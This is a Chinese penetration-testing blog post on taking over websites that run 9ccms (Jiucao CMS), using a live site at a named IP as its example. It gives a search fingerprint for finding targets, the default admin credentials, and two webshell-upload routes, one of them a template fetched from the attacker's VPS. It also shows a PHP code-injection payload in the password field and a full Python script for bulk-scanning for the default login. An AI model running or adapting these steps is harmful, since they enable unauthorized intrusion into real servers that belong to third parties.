Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

9ccms(久草CMS)-颜色网站渗透getshell

渗透测试 Adminxe 5423℃ 0评论

0x00 CMS类型

9ccms

FOFA:

body=”久草CMS”

0x01 渗透站点

黄色站点:
https://142.11.219.115/

0x02 渗透过程

后台:
https://142.11.219.115/adminx/

(默认弱口令)

账号:9ccms
密码:9ccms


0x03 getshell

1、广告设置-广告联盟JS广告,添加木马

写入的内容在 /JCSQL/Admin/Ad/AdminAdJs.php 中

点击保存修改。

访问木马地址:
https://142.11.219.115/JCSQL/Admin/Ad/AdminAdJs.php
密码:xxx

2、另一种shell方式:通用模板下载解压getshell

模板下载后会自动解压 地址 Template/9C18H261/css/style.css

先将模板下载下来,放入shell文件

上传到vps上,
Python命令快速临时搭建一个简单的HTTP服务器

下载模板,抓包 替换 tpl参数

密码修改文件写入

密码修改为:9ccms’);phpinfo();//(

除了第5行做了html实体编码,和删除反斜杠以外,未作任何安全处理,直接写入php文件中,这里也可以直接拿shell

<?php

if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password'])  && isset($_POST['ippass']) ) {
function post_input($data){$data = stripslashes($data);$data = htmlspecialchars($data);return $data;}
$username = post_input($_POST["username"]);
$password = post_input($_POST["password"]);  
$ippass = post_input($_POST["ippass"]);
  $str = '';
  $str .= '<?php';
  $str .= "n";
  $str .= '//后台密码';
  $str .= "n";
  $str .= 'define('USERNAME', ''.$username.'');';
  $str .= "n";
  $str .= 'define('PASSWORD', ''.$password.'');';
  $str .= "n";
  $str .= 'define('IPPASS', ''.$ippass.'');';
  $str .= "n";  
  $str .= '?>';
  $ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+');
  fwrite($ff,$str);
?>

0X04 批量脚本(弱口令检测)

import time
import requests
import os
from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
class poc():
    def title(self):
        print('''
+-----------------------------------------------------------------+
漏洞名称:9CCCMS 弱口令
功能:单个检测,批量检测                                     
单个检测:python poc.py -u url
批量检测:python poc.py -f 1.txt
+-----------------------------------------------------------------+                                     
''')
    def poc(self, target_ur):
        url = f'{target_ur}/adminx/'
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}
        try:
            res = requests.get(url=url, headers=headers,verify=False,timeout=10)
            return res
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    def main(self, target_url, file):
        self.title()
        count=0
        if target_url:
            res=self.poc(target_url)
            if res.status_code==200 and "当前使用的是默认账号" in res.text:
                print(f'\033[31m[+] {target_url} 存在弱口令:9ccms/9ccms \033[0m')
        if file:
            for url in file:
                count += 1
                target_url = url.replace('\n', '')  #取消换行符
                #time.sleep(1)
                res=self.poc(target_url)
                try:
                    if res.status_code==200 and "当前使用的是默认账号" in res.text:
                        print(f'\033[31m[{count}] 响应值为200,{target_url} 存在弱口令:9ccms/9ccms\033[0m')
                    else:
                        print(f'[{count}] 响应值为{res.status_code},{target_url} 不存在弱口令')
                except Exception as e:
                    print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u','--url',type=str,default=False,help="目标地址,带上http://")
    parser.add_argument("-f",'--file', type=argparse.FileType('r'),default=False,help="批量检测,带上http://")
    args = parser.parse_args()
    run = poc()
    run.main(args.url, args.file)

0x05 参考文章

http://cn-sec.com/archives/281204.html

转载请注明:Adminxe's Blog » 9ccms(久草CMS)-颜色网站渗透getshell

喜欢 (21)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(2)个小伙伴在吐槽
  1. 😯 后台登录不了了。
    哇哈哈2021-06-02 15:48 回复
  2. 多谢好文章,多些这种文章真不错
    xxxxxxxxxxx2021-06-07 00:59 回复